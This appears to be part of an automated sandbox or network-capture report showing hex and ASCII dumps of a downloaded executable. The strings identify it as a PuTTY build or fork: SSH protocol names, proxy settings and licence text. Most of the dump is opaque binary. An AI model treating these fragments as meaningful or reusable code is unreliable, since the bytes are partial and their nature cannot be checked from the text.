                                                                                                                                                  2022-12-04 11:05:57 UTC797INData Raw: 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 87 a5 41 00 ef a3 41 00 5a a4 41 00 7a a4 41 00 00 00 00 00 08 00 00 00 12 00 00 00 09 00 00 00 09 00 00 00 14 00 00 00 0a 00 00 00 0a 00 00 00 13 00 00 00 0b 00 00 00 0b 00 00 00 14 00 00 00 0c 00 00 00 0c 00 00 00 15 00 00 00 0d 00 00 00 0d 00 00 00 13 00 00 00 0e 00 00 00 1b 00 00 00 12 00 00 00 1c 00 00 00 1e 00 00 00 13 00 00 00 1f 00 00 00 1f 00 00 00 14 00 00 00 20 00 00 00 20 00 00 00 15 00 00 00 23 00 00 00 25 00 00 00 0e 00 00 00 2b 00 00 00 2b 00 00 00 0d 00 00 00 2c 00 00 00 2c 00 00 00 10 00 00 00 2d 00 00 00 2d 00 00 00 0d 00
                                                                                                                                                  Data Ascii: AAAAAAAAAAAAAAAAAAAAZAzA #%++,,--
                                                                                                                                                  2022-12-04 11:05:57 UTC805INData Raw: 00 d9 a7 00 00 00 00 00 00 f2 a7 00 00 01 a8 00 00 00 00 00 00 02 a8 00 00 02 a8 00 00 11 00 00 00 03 a8 00 00 05 a8 00 00 00 00 00 00 06 a8 00 00 06 a8 00 00 11 00 00 00 07 a8 00 00 0a a8 00 00 00 00 00 00 0b a8 00 00 0b a8 00 00 11 00 00 00 0c a8 00 00 24 a8 00 00 00 00 00 00 25 a8 00 00 26 a8 00 00 11 00 00 00 27 a8 00 00 27 a8 00 00 00 00 00 00 2c a8 00 00 2c a8 00 00 11 00 00 00 30 a8 00 00 37 a8 00 00 00 00 00 00 38 a8 00 00 39 a8 00 00 0e 00 00 00 40 a8 00 00 73 a8 00 00 00 00 00 00 80 a8 00 00 c3 a8 00 00 00 00 00 00 c4 a8 00 00 c5 a8 00 00 11 00 00 00 ce a8 00 00 d9 a8 00 00 00 00 00 00 e0 a8 00 00 f1 a8 00 00 11 00 00 00 f2 a8 00 00 fe a8 00 00 00 00 00 00 ff a8 00 00 ff a8 00 00 11 00 00 00 00 a9 00 00 25 a9 00 00 00 00 00 00 26 a9 00 00 2d a9
                                                                                                                                                  Data Ascii: $%&'',,0789@s%&-
                                                                                                                                                  2022-12-04 11:05:57 UTC813INData Raw: fb 02 00 52 fb 03 00 00 00 03 00 00 00 02 00 56 fb 02 00 62 fb 02 00 5a fb 03 00 00 00 03 00 00 00 02 00 76 fb 02 00 72 fb 03 00 00 00 02 00 7a fb 02 00 7e fb 01 00 88 fb 03 00 00 00 03 00 00 00 03 00 00 00 01 00 84 fb 01 00 82 fb 01 00 86 fb 03 00 00 00 03 00 00 00 01 00 8c fb 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 01 00 8a fb 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 02 00 6a fb 03 00 00 00 02 00 6e fb 03 00 00 00 03 00 00 00 02 00 8e fb 03 00 00 00 03 00 00 00 03 00 00 00 02 00 d3 fb 03 00 00 00 02 00 92 fb 03 00 00 00 02 00 9a fb 03 00 00 00 02 00 96 fb 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 01 00
                                                                                                                                                  Data Ascii: RVbZvrz~jn
                                                                                                                                                  2022-12-04 11:05:57 UTC821INData Raw: 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 70 70 42 00 80 70 42 00 90 70 42 00 a0 70 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 70 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 77 42 00 60 77 42 00 c0 77 42 00 80 78 42 00 00 00 00 00 01 00 00 00 10 8e 42 00 d0 8f 42 00 b0 70 42 00 30 90 42 00 60 90 42 00 b0 70 42 00 70 90 42 00 d0 90 42 00 e0 90 42 00 f0 90 42 00 10 91 42 00 20 91 42 00 30 91 42 00 40 91 42 00 d0 90 42 00 00 00 00 00 00 00 00 00 75 e0 4d 00 79 e0 4d 00 75 e0 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                  Data Ascii: ppBpBpBpBpB wB`wBwBxBBBpB0B`BpBpBBBBB B0B@BBuMyMuM
                                                                                                                                                  2022-12-04 11:05:57 UTC829INData Raw: 00 0f 00 10 00 11 00 12 00 13 00 14 00 15 00 16 00 17 00 18 00 19 00 1a 00 1b 00 1c 00 1d 00 1e 00 1f 00 20 00 21 00 2d 04 23 00 24 00 25 00 26 00 4d 04 28 00 29 00 2a 00 06 04 31 04 54 04 4e 04 2e 00 30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 38 00 39 00 16 04 36 04 11 04 56 04 2e 04 2c 00 40 00 24 04 18 04 21 04 12 04 23 04 10 04 1f 04 20 04 28 04 1e 04 1b 04 14 04 2c 04 22 04 29 04 17 04 19 04 1a 04 2b 04 15 04 13 04 1c 04 26 04 27 04 1d 04 2f 04 45 04 57 04 4a 04 5e 00 04 04 60 00 44 04 38 04 41 04 32 04 43 04 30 04 3f 04 40 04 48 04 3e 04 3b 04 34 04 4c 04 42 04 49 04 37 04 39 04 3a 04 4b 04 35 04 33 04 3c 04 46 04 47 04 3d 04 4f 04 25 04 07 04 2a 04 7e 00 7f 00 00 00 8e be 4e 00 e9 fd 00 00 00 00 00 00 00 00 00 00 fd f5 4e 00 00 00 00 00 60 00
                                                                                                                                                  Data Ascii: !-#$%&M()*1TN.01234567896V.,@$!# (,")+&'/EWJ^`D8A2C0?@H>;4LBI79:K53<FG=O%*~NN`
                                                                                                                                                  2022-12-04 11:05:57 UTC836INData Raw: 00 ef 2c 00 00 f1 2c 00 00 7f 2d 00 00 7f 2d 00 00 e0 2d 00 00 ff 2d 00 00 2a 30 00 00 2d 30 00 00 99 30 00 00 9a 30 00 00 6f a6 00 00 72 a6 00 00 74 a6 00 00 7d a6 00 00 9e a6 00 00 9f a6 00 00 f0 a6 00 00 f1 a6 00 00 02 a8 00 00 02 a8 00 00 06 a8 00 00 06 a8 00 00 0b a8 00 00 0b a8 00 00 25 a8 00 00 26 a8 00 00 2c a8 00 00 2c a8 00 00 c4 a8 00 00 c5 a8 00 00 e0 a8 00 00 f1 a8 00 00 ff a8 00 00 ff a8 00 00 26 a9 00 00 2d a9 00 00 47 a9 00 00 51 a9 00 00 80 a9 00 00 82 a9 00 00 b3 a9 00 00 b3 a9 00 00 b6 a9 00 00 b9 a9 00 00 bc a9 00 00 bd a9 00 00 e5 a9 00 00 e5 a9 00 00 29 aa 00 00 2e aa 00 00 31 aa 00 00 32 aa 00 00 35 aa 00 00 36 aa 00 00 43 aa 00 00 43 aa 00 00 4c aa 00 00 4c aa 00 00 7c aa 00 00 7c aa 00 00 b0 aa 00 00 b0 aa 00 00 b2 aa 00 00 b4 aa
                                                                                                                                                  Data Ascii: ,,----*0-000ort}%&,,&-GQ).1256CCLL||
                                                                                                                                                  2022-12-04 11:05:57 UTC844INData Raw: 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 b0 12 46 00 7d 11 46 00 b0 12 46 00 7d 11 46 00 b0 12 46 00 7d 11 46 00 a0 11 46 00 31 12 46 00 31 12 46 00 a0 11 46 00 a0 11 46 00 a0 11 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 a0 11 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 a0 11 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12 46 00 31 12
                                                                                                                                                  Data Ascii: FFFFFFFFFFFFFFFFFFFF}FF}FF}FF1F1FFFF1F1F1F1F1F1F1F1F1F1FF1F1F1F1FF1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1
                                                                                                                                                  2022-12-04 11:05:57 UTC852INData Raw: 07 0f 1f 04 41 a4 79 47 40 17 6e 88 5d eb 51 5f 32 d1 c0 9b d5 8f c1 bc f2 64 35 11 41 34 78 7b 25 60 9c 2a 60 a3 e8 f8 df 1b 6c 63 1f c2 b4 12 0e 9e 32 e1 02 d1 4f 66 af 15 81 d1 ca e0 95 23 6b e1 92 3e 33 62 0b 24 3b 22 b9 be ee 0e a2 b2 85 99 0d ba e6 8c 0c 72 de 28 f7 a2 2d 45 78 12 d0 fd 94 b7 95 62 08 7d 64 f0 f5 cc e7 6f a3 49 54 fa 48 7d 87 27 fd 9d c3 1e 8d 3e f3 41 63 47 0a 74 ff 2e 99 ab 6e 6f 3a 37 fd f8 f4 60 dc 12 a8 f8 dd eb a1 4c e1 1b 99 0d 6b 6e db 10 55 7b c6 37 2c 67 6d 3b d4 65 27 04 e8 d0 dc c7 0d 29 f1 a3 ff 00 cc 92 0f 39 b5 0b ed 0f 69 fb 9f 7b 66 9c 7d db ce 0b cf 91 a0 a3 5e 15 d9 88 2f 13 bb 24 ad 5b 51 bf 79 94 7b eb d6 3b 76 b3 2e 39 37 79 59 11 cc 97 e2 26 80 2d 31 2e f4 a7 ad 42 68 3b 2b 6a c6 cc 4c 75 12 1c f1 2e 78 37 42
                                                                                                                                                  Data Ascii: AyG@n]Q_2d5A4x{%`*`lc2Of#k>3b$;"r(-Exb}doITH}'>AcGt.no:7`LknU{7,gm;e')9i{f}^/$[Qy{;v.97yY&-1.Bh;+jLu.x7B
                                                                                                                                                  2022-12-04 11:05:57 UTC860INData Raw: 80 00 80 00 80 00 00 00 80 8b 80 00 00 00 00 00 00 01 00 00 80 00 00 00 00 81 80 00 80 00 00 00 80 09 80 00 00 00 00 00 80 8a 00 00 00 00 00 00 00 88 00 00 00 00 00 00 00 09 80 00 80 00 00 00 00 0a 00 00 80 00 00 00 00 8b 80 00 80 00 00 00 00 8b 00 00 00 00 00 00 80 89 80 00 00 00 00 00 80 03 80 00 00 00 00 00 80 02 80 00 00 00 00 00 80 80 00 00 00 00 00 00 80 0a 80 00 00 00 00 00 00 0a 00 00 80 00 00 00 80 81 80 00 80 00 00 00 80 80 80 00 00 00 00 00 80 01 00 00 80 00 00 00 00 08 80 00 80 00 00 00 80 e0 56 49 00 b0 38 50 00 00 57 49 00 60 49 49 00 c0 49 49 00 f0 49 49 00 00 4a 49 00 c0 4c 49 00 60 4d 49 00 00 00 00 00 00 00 00 00 b0 70 42 00 53 7b 4e 00 10 00 00 00 80 00 00 00 10 00 00 00 01 00 00 00 72 fb 4e 00 00 00 00 00 e8 87 4d 00 e0 56 49 00 b0 38
                                                                                                                                                  Data Ascii: VI8PWI`IIIIIIJILI`MIpBS{NrNMVI8
                                                                                                                                                  2022-12-04 11:05:57 UTC868INData Raw: 00 5c a4 4f 00 1d 00 00 00 a4 a1 4f 00 1c 00 00 00 a8 a2 4f 00 1d 00 00 00 60 a3 4f 00 1c 00 00 00 14 a3 4f 00 23 00 00 00 e4 a3 4f 00 1a 00 00 00 c8 a2 4f 00 20 00 00 00 80 a3 4f 00 1f 00 00 00 38 a3 4f 00 26 00 00 00 40 a4 4f 00 1a 00 00 00 14 a4 4f 00 0f 00 00 00 cc 9f 4f 00 03 00 00 00 b4 9f 4f 00 05 00 00 00 e8 a4 4f 00 0f 00 00 00 7c a4 4f 00 23 00 00 00 58 9f 4f 00 06 00 00 00 60 9f 4f 00 09 00 00 00 24 a4 4f 00 0e 00 00 00 a0 a4 4f 00 1a 00 00 00 bc a4 4f 00 1c 00 00 00 ec a2 4f 00 25 00 00 00 a0 a3 4f 00 24 00 00 00 fc a1 4f 00 25 00 00 00 7c a2 4f 00 2b 00 00 00 74 a5 4f 00 1a 00 00 00 50 a5 4f 00 20 00 00 00 d8 a1 4f 00 22 00 00 00 50 a2 4f 00 28 00 00 00 24 a2 4f 00 2a 00 00 00 1c a5 4f 00 1b 00 00 00 a0 a5 4f 00 0c 00 00 00 98 96 4f 00 11 00
                                                                                                                                                  Data Ascii: \OOO`OO#OO O8O&@OOOOO|O#XO`O$OOOO%O$O%|O+tOPO O"PO($O*OOO
                                                                                                                                                  2022-12-04 11:05:57 UTC876INData Raw: 00 bc b3 4f 00 5b 00 00 00 e0 b1 4f 00 22 00 00 00 30 b4 4f 00 64 00 00 00 a4 ac 4f 00 be 00 00 00 d4 b6 4f 00 c3 00 00 00 7c ac 4f 00 b0 00 00 00 b8 b6 4f 00 b8 00 00 00 88 b4 4f 00 cb 00 00 00 78 b4 4f 00 c7 00 00 00 2c ac 4f 00 1a 00 00 00 74 b3 4f 00 5c 00 00 00 f4 aa 4f 00 e3 00 00 00 30 b2 4f 00 c2 00 00 00 30 ae 4f 00 bd 00 00 00 18 b2 4f 00 a6 00 00 00 00 ae 4f 00 99 00 00 00 00 a8 4f 00 1b 00 00 00 6c b4 4f 00 9a 00 00 00 ac b6 4f 00 5d 00 00 00 e0 a7 4f 00 33 00 00 00 94 b7 4f 00 7a 00 00 00 d0 aa 4f 00 40 00 00 00 68 a6 4f 00 8a 00 00 00 c0 b9 4f 00 38 00 00 00 b8 af 4f 00 80 00 00 00 94 b6 4f 00 39 00 00 00 ac af 4f 00 81 00 00 00 c4 b4 4f 00 1c 00 00 00 b8 b4 4f 00 5e 00 00 00 60 b9 4f 00 6e 00 00 00 ec aa 4f 00 1d 00 00 00 e0 aa 4f 00 5f 00
                                                                                                                                                  Data Ascii: O[O"0OdOO|OOOxO,OtO\O0O0OOOOlOO]O3OzO@hOO8OO9OOO^`OnOO_
                                                                                                                                                  2022-12-04 11:05:57 UTC883INData Raw: 74 00 50 72 6f 78 79 48 6f 73 74 00 4c 6f 67 48 6f 73 74 00 48 6f 73 74 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 00 53 6f 66 74 77 61 72 65 5c 53 69 6d 6f 6e 54 61 74 68 61 6d 5c 50 75 54 54 59 5c 4a 75 6d 70 6c 69 73 74 00 48 6f 73 74 20 6b 65 79 20 6e 6f 74 20 69 6e 20 6d 61 6e 75 61 6c 6c 79 20 63 6f 6e 66 69 67 75 72 65 64 20 6c 69 73 74 00 4d 61 6b 65 44 72 61 67 4c 69 73 74 00 50 72 6f 78 79 45 78 63 6c 75 64 65 4c 69 73 74 00 52 65 6a 65 63 74 65 64 20 58 31 31 20 63 6f 6e 6e 65 63 74 20 72 65 71 75 65 73 74 00 53 74 61 72 74 69 6e 67 20 73 65 72 69 61 6c 20 62 72 65 61 6b 20 61 74 20 75 73 65 72 20 72 65 71 75 65 73 74 00 52 65 63 65 69 76 65 64 20 25 73 20 66 6f 72 20 63 68 61 6e 6e 65 6c 20 25 64 20 77 69 74 68 20 6e 6f 20 6f 75 74 73 74 61
                                                                                                                                                  Data Ascii: tProxyHostLogHostHost does not existSoftware\SimonTatham\PuTTY\JumplistHost key not in manually configured listMakeDragListProxyExcludeListRejected X11 connect requestStarting serial break at user requestReceived %s for channel %d with no outsta
                                                                                                                                                  2022-12-04 11:05:57 UTC891INData Raw: 27 73 20 6d 65 73 73 61 67 65 3a 20 25 2e 2a 73 00 52 65 6d 6f 74 65 20 64 65 62 75 67 20 6d 65 73 73 61 67 65 3a 20 25 2e 2a 73 00 25 73 20 28 70 61 72 74 69 61 6c 20 6c 69 6e 65 29 3a 20 25 2e 2a 73 00 25 30 32 78 25 73 00 30 78 25 73 2c 30 78 25 73 00 53 65 73 73 69 6f 6e 20 65 78 69 74 65 64 20 6f 6e 20 25 73 25 73 25 73 25 2e 2a 73 25 73 00 70 75 74 74 79 25 73 25 73 00 25 7a 75 20 25 73 20 25 73 25 73 25 73 00 4c 6f 63 61 6c 20 25 73 70 6f 72 74 20 25 73 20 66 6f 72 77 61 72 64 69 6e 67 20 74 6f 20 25 73 25 73 25 73 00 49 6e 69 74 69 61 6c 69 73 65 64 20 25 73 20 6f 75 74 62 6f 75 6e 64 20 4d 41 43 20 61 6c 67 6f 72 69 74 68 6d 25 73 25 73 00 49 6e 69 74 69 61 6c 69 73 65 64 20 25 73 20 69 6e 62 6f 75 6e 64 20 4d 41 43 20 61 6c 67 6f 72 69 74 68 6d
                                                                                                                                                  Data Ascii: 's message: %.*sRemote debug message: %.*s%s (partial line): %.*s%02x%s0x%s,0x%sSession exited on %s%s%s%.*s%sputty%s%s%zu %s %s%s%sLocal %sport %s forwarding to %s%s%sInitialised %s outbound MAC algorithm%s%sInitialised %s inbound MAC algorithm
                                                                                                                                                  2022-12-04 11:05:57 UTC899INData Raw: 69 61 6c 20 64 65 6c 65 67 61 74 69 6f 6e 00 73 75 70 64 75 70 2d 6c 6f 63 61 74 69 6f 6e 00 58 20 64 69 73 70 6c 61 79 20 6c 6f 63 61 74 69 6f 6e 00 53 55 50 44 55 50 4c 6f 63 61 74 69 6f 6e 00 54 65 6c 6e 65 74 20 70 72 6f 78 79 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 00 4c 6f 63 61 6c 20 70 72 6f 78 79 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 00 53 4f 43 4b 53 20 70 72 6f 78 79 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 00 48 54 54 50 20 70 72 6f 78 79 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 00 50 75 62 6c 69 63 2d 6b 65 79 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 00 53 53 48 20 73 65 72 76 65 72 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 00 57 69 6c 6c 20 65 6e 61 62 6c 65 20 25 73 20 64 65 63 6f 6d 70 72 65 73 73 69 6f 6e 20 61
                                                                                                                                                  Data Ascii: ial delegationsupdup-locationX display locationSUPDUPLocationTelnet proxy authenticationLocal proxy authenticationSOCKS proxy authenticationHTTP proxy authenticationPublic-key authenticationSSH server authenticationWill enable %s decompression a
                                                                                                                                                  2022-12-04 11:05:57 UTC907INData Raw: 20 74 69 74 6c 65 20 63 68 61 6e 67 69 6e 67 00 63 6f 6e 66 69 67 2d 70 72 6f 78 79 2d 6c 6f 67 67 69 6e 67 00 63 6f 6e 66 69 67 2d 6c 6f 67 67 69 6e 67 00 4f 70 74 69 6f 6e 73 20 73 70 65 63 69 66 69 63 20 74 6f 20 53 53 48 20 70 61 63 6b 65 74 20 6c 6f 67 67 69 6e 67 00 4f 70 74 69 6f 6e 73 20 63 6f 6e 74 72 6f 6c 6c 69 6e 67 20 73 65 73 73 69 6f 6e 20 6c 6f 67 67 69 6e 67 00 53 65 73 73 69 6f 6e 2f 4c 6f 67 67 69 6e 67 00 70 65 72 6d 69 74 2d 70 6f 72 74 2d 66 6f 72 77 61 72 64 69 6e 67 00 70 65 72 6d 69 74 2d 61 67 65 6e 74 2d 66 6f 72 77 61 72 64 69 6e 67 00 70 65 72 6d 69 74 2d 58 31 31 2d 66 6f 72 77 61 72 64 69 6e 67 00 53 53 48 20 74 6f 20 70 72 6f 78 79 20 61 6e 64 20 75 73 65 20 70 6f 72 74 20 66 6f 72 77 61 72 64 69 6e 67 00 4f 70 74 69 6f 6e
                                                                                                                                                  Data Ascii: title changingconfig-proxy-loggingconfig-loggingOptions specific to SSH packet loggingOptions controlling session loggingSession/Loggingpermit-port-forwardingpermit-agent-forwardingpermit-X11-forwardingSSH to proxy and use port forwardingOption
                                                                                                                                                  2022-12-04 11:05:57 UTC915INData Raw: 62 6f 61 72 64 00 41 75 74 6f 2d 63 6f 70 79 20 73 65 6c 65 63 74 65 64 20 74 65 78 74 20 74 6f 20 73 79 73 74 65 6d 20 63 6c 69 70 62 6f 61 72 64 00 53 79 73 74 65 6d 20 63 6c 69 70 62 6f 61 72 64 00 43 26 6f 70 79 20 41 6c 6c 20 74 6f 20 43 6c 69 70 62 6f 61 72 64 00 53 74 61 6e 64 61 72 64 00 56 61 6c 69 64 69 74 79 20 70 65 72 69 6f 64 00 50 72 6f 78 79 20 65 72 72 6f 72 3a 20 55 6e 6b 6e 6f 77 6e 20 70 72 6f 78 79 20 6d 65 74 68 6f 64 00 73 65 72 76 65 72 2d 74 6f 2d 63 6c 69 65 6e 74 20 63 6f 6d 70 72 65 73 73 69 6f 6e 20 6d 65 74 68 6f 64 00 63 6c 69 65 6e 74 2d 74 6f 2d 73 65 72 76 65 72 20 63 6f 6d 70 72 65 73 73 69 6f 6e 20 6d 65 74 68 6f 64 00 50 72 6f 78 79 4d 65 74 68 6f 64 00 4d 61 6b 65 20 64 65 66 61 75 6c 74 20 73 79 73 74 65 6d 20 61 6c
                                                                                                                                                  Data Ascii: boardAuto-copy selected text to system clipboardSystem clipboardC&opy All to ClipboardStandardValidity periodProxy error: Unknown proxy methodserver-to-client compression methodclient-to-server compression methodProxyMethodMake default system al
                                                                                                                                                  2022-12-04 11:05:57 UTC922INData Raw: 5f 4d 53 47 5f 43 48 41 4e 4e 45 4c 5f 52 45 51 55 45 53 54 00 53 53 48 32 5f 4d 53 47 5f 47 4c 4f 42 41 4c 5f 52 45 51 55 45 53 54 00 53 53 48 32 5f 4d 53 47 5f 55 53 45 52 41 55 54 48 5f 52 45 51 55 45 53 54 00 53 53 48 32 5f 4d 53 47 5f 53 45 52 56 49 43 45 5f 52 45 51 55 45 53 54 00 53 53 48 31 5f 43 4d 53 47 5f 50 4f 52 54 5f 46 4f 52 57 41 52 44 5f 52 45 51 55 45 53 54 00 53 49 47 41 42 52 54 00 53 54 41 52 54 00 45 4e 43 52 59 50 54 00 50 4c 55 47 49 4e 5f 50 52 4f 54 4f 43 4f 4c 5f 41 43 43 45 50 54 00 53 53 48 32 5f 4d 53 47 5f 53 45 52 56 49 43 45 5f 41 43 43 45 50 54 00 57 4f 4e 54 00 44 4f 4e 54 00 52 45 50 52 49 4e 54 00 51 55 49 54 00 53 53 48 32 5f 4d 53 47 5f 4b 45 58 5f 44 48 5f 47 45 58 5f 49 4e 49 54 00 53 53 48 32 5f 4d 53 47 5f 4b 45
                                                                                                                                                  Data Ascii: _MSG_CHANNEL_REQUESTSSH2_MSG_GLOBAL_REQUESTSSH2_MSG_USERAUTH_REQUESTSSH2_MSG_SERVICE_REQUESTSSH1_CMSG_PORT_FORWARD_REQUESTSIGABRTSTARTENCRYPTPLUGIN_PROTOCOL_ACCEPTSSH2_MSG_SERVICE_ACCEPTWONTDONTREPRINTQUITSSH2_MSG_KEX_DH_GEX_INITSSH2_MSG_KE
                                                                                                                                                  2022-12-04 11:05:57 UTC930INData Raw: 43 37 41 42 46 35 41 45 38 43 44 42 30 39 33 33 44 37 31 45 38 43 39 34 45 30 34 41 32 35 36 31 39 44 43 45 45 33 44 32 32 36 31 41 44 32 45 45 36 42 46 31 32 46 46 41 30 36 44 39 38 41 30 38 36 34 44 38 37 36 30 32 37 33 33 45 43 38 36 41 36 34 35 32 31 46 32 42 31 38 31 37 37 42 32 30 30 43 42 42 45 31 31 37 35 37 37 41 36 31 35 44 36 43 37 37 30 39 38 38 43 30 42 41 44 39 34 36 45 32 30 38 45 32 34 46 41 30 37 34 45 35 41 42 33 31 34 33 44 42 35 42 46 43 45 30 46 44 31 30 38 45 34 42 38 32 44 31 32 30 41 39 32 31 30 38 30 31 31 41 37 32 33 43 31 32 41 37 38 37 45 36 44 37 38 38 37 31 39 41 31 30 42 44 42 41 35 42 32 36 39 39 43 33 32 37 31 38 36 41 46 34 45 32 33 43 31 41 39 34 36 38 33 34 42 36 31 35 30 42 44 41 32 35 38 33 45 39 43 41 32 41 44 34 34
                                                                                                                                                  Data Ascii: C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44
                                                                                                                                                  2022-12-04 11:05:57 UTC938INData Raw: 30 30 30 30 30 30 30 30 30 30 30 32 36 32 61 36 00 58 74 65 72 6d 20 52 36 00 30 78 36 62 31 37 64 31 66 32 65 31 32 63 34 32 34 37 66 38 62 63 65 36 65 35 36 33 61 34 34 30 66 32 37 37 30 33 37 64 38 31 32 64 65 62 33 33 61 30 66 34 61 31 33 39 34 35 64 38 39 38 63 32 39 36 00 68 6d 61 63 2d 73 68 61 31 2d 39 36 00 30 78 30 30 63 36 38 35 38 65 30 36 62 37 30 34 30 34 65 39 63 64 39 65 33 65 63 62 36 36 32 33 39 35 62 34 34 32 39 63 36 34 38 31 33 39 30 35 33 66 62 35 32 31 66 38 32 38 61 66 36 30 36 62 34 64 33 64 62 61 61 31 34 62 35 65 37 37 65 66 65 37 35 39 32 38 66 65 31 64 63 31 32 37 61 32 66 66 61 38 64 65 33 33 34 38 62 33 63 31 38 35 36 61 34 32 39 62 66 39 37 65 37 65 33 31 63 32 65 35 62 64 36 36 00 30 78 66 66 66 66 66 66 66 66 66 66 66 66
                                                                                                                                                  Data Ascii: 00000000000262a6Xterm R60x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296hmac-sha1-960x00c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd660xffffffffffff
                                                                                                                                                  2022-12-04 11:05:57 UTC946INData Raw: 67 20 61 20 63 6f 70 79 20 6f 66 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 61 6e 64 20 61 73 73 6f 63 69 61 74 65 64 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 20 66 69 6c 65 73 20 28 74 68 65 20 22 53 6f 66 74 77 61 72 65 22 29 2c 20 74 6f 20 64 65 61 6c 20 69 6e 20 74 68 65 20 53 6f 66 74 77 61 72 65 20 77 69 74 68 6f 75 74 20 72 65 73 74 72 69 63 74 69 6f 6e 2c 20 69 6e 63 6c 75 64 69 6e 67 20 77 69 74 68 6f 75 74 20 6c 69 6d 69 74 61 74 69 6f 6e 20 74 68 65 20 72 69 67 68 74 73 20 74 6f 20 75 73 65 2c 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 6d 65 72 67 65 2c 20 70 75 62 6c 69 73 68 2c 20 64 69 73 74 72 69 62 75 74 65 2c 20 73 75 62 6c 69 63 65 6e 73 65 2c 20 61 6e 64 2f 6f 72 20 73 65 6c 6c 20 63 6f 70 69 65 73 20 6f 66 20 74 68 65 20 53 6f 66
                                                                                                                                                  Data Ascii: g a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Sof
                                                                                                                                                  2022-12-04 11:05:57 UTC954INData Raw: 74 68 65 20 75 70 73 74 72 65 61 6d 20 50 75 54 54 59 29 00 31 20 28 49 4e 53 45 43 55 52 45 29 00 43 6f 6e 74 72 6f 6c 2d 3f 20 28 31 32 37 29 00 20 28 49 50 76 36 29 00 20 28 49 50 76 34 29 00 20 32 30 32 32 20 28 31 37 2e 32 29 00 41 74 74 65 6d 70 74 20 22 6b 65 79 62 6f 61 72 64 2d 69 6e 74 65 72 61 63 74 69 76 65 22 20 61 75 74 68 20 28 53 53 48 2d 32 29 00 49 6e 76 61 6c 69 64 20 6e 75 6d 62 65 72 20 6f 66 20 73 74 6f 70 20 62 69 74 73 20 28 6e 65 65 64 20 31 2c 20 31 2e 35 20 6f 72 20 32 29 00 41 74 74 65 6d 70 74 20 54 49 53 20 6f 72 20 43 72 79 70 74 6f 43 61 72 64 20 61 75 74 68 20 28 53 53 48 2d 31 29 00 7a 6c 69 62 20 28 52 46 43 31 39 35 30 29 00 53 4f 43 4b 53 20 70 72 6f 78 79 20 72 65 73 70 6f 6e 73 65 20 63 6f 6e 74 61 69 6e 65 64 20 72
                                                                                                                                                  Data Ascii: the upstream PuTTY)1 (INSECURE)Control-? (127) (IPv6) (IPv4) 2022 (17.2)Attempt "keyboard-interactive" auth (SSH-2)Invalid number of stop bits (need 1, 1.5 or 2)Attempt TIS or CryptoCard auth (SSH-1)zlib (RFC1950)SOCKS proxy response contained r
